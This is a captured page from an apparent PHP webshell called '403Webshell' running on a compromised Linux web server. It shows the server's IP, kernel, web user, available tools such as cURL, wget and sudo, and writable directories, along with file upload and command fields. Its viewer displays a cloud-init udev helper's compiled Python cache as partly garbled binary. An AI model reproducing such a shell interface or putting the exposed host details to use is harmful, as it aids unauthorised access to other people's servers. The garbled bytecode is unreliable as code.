403Webshell
Server IP : 52.221.34.188  /  Your IP : 216.73.217.74
Web Server : Apache
System : Linux ip-172-31-26-112 7.0.0-1017-aws #18~24.04.1-Ubuntu SMP PREEMPT Thu Oct 29 17:57:24 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.3.36
Disable Function : phpinfo
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /snap/core22/2437/lib/python3/dist-packages/cloudinit/net/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/core22/2437/lib/python3/dist-packages/cloudinit/net/__pycache__/udev.cpython-310.pyc
o

�t�h��@s&dd�Zdd�Zdd�Zd	dd�ZdS)
cC�||��ksJ�d||fS)z6Return a udev comparison clause, like `ACTION=="add"`.z%s=="%s"��upper��key�value�r�4/usr/lib/python3/dist-packages/cloudinit/net/udev.py�compose_udev_equality�r	cCr)zBReturn a udev attribute comparison clause, like `ATTR{type}=="1"`.zATTR{%s}=="%s")�lower)�	attributerrrr�compose_udev_attr_equalityr
r
cCr)z4Return a udev assignment clause, like `NAME="eth0"`.z%s="%s"rrrrr�compose_udev_settingr
rNc	CsB|sd}d�tdd�tdd�td|�td|�td	|�g�}d
|S)z�Return a udev rule to set the name of network interface with `mac`.

    The rule ends up as a single line looking something like:

    SUBSYSTEM=="net", ACTION=="add", DRIVERS=="?*",
    ATTR{address}="ff:ee:dd:cc:bb:aa", NAME="eth0"
    z?*z, �	SUBSYSTEM�net�ACTION�add�DRIVERS�address�NAMEz%s
)�joinr	r
r)�	interface�mac�driver�rulerrr�generate_udev_rules��	r)N)r	r
rrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit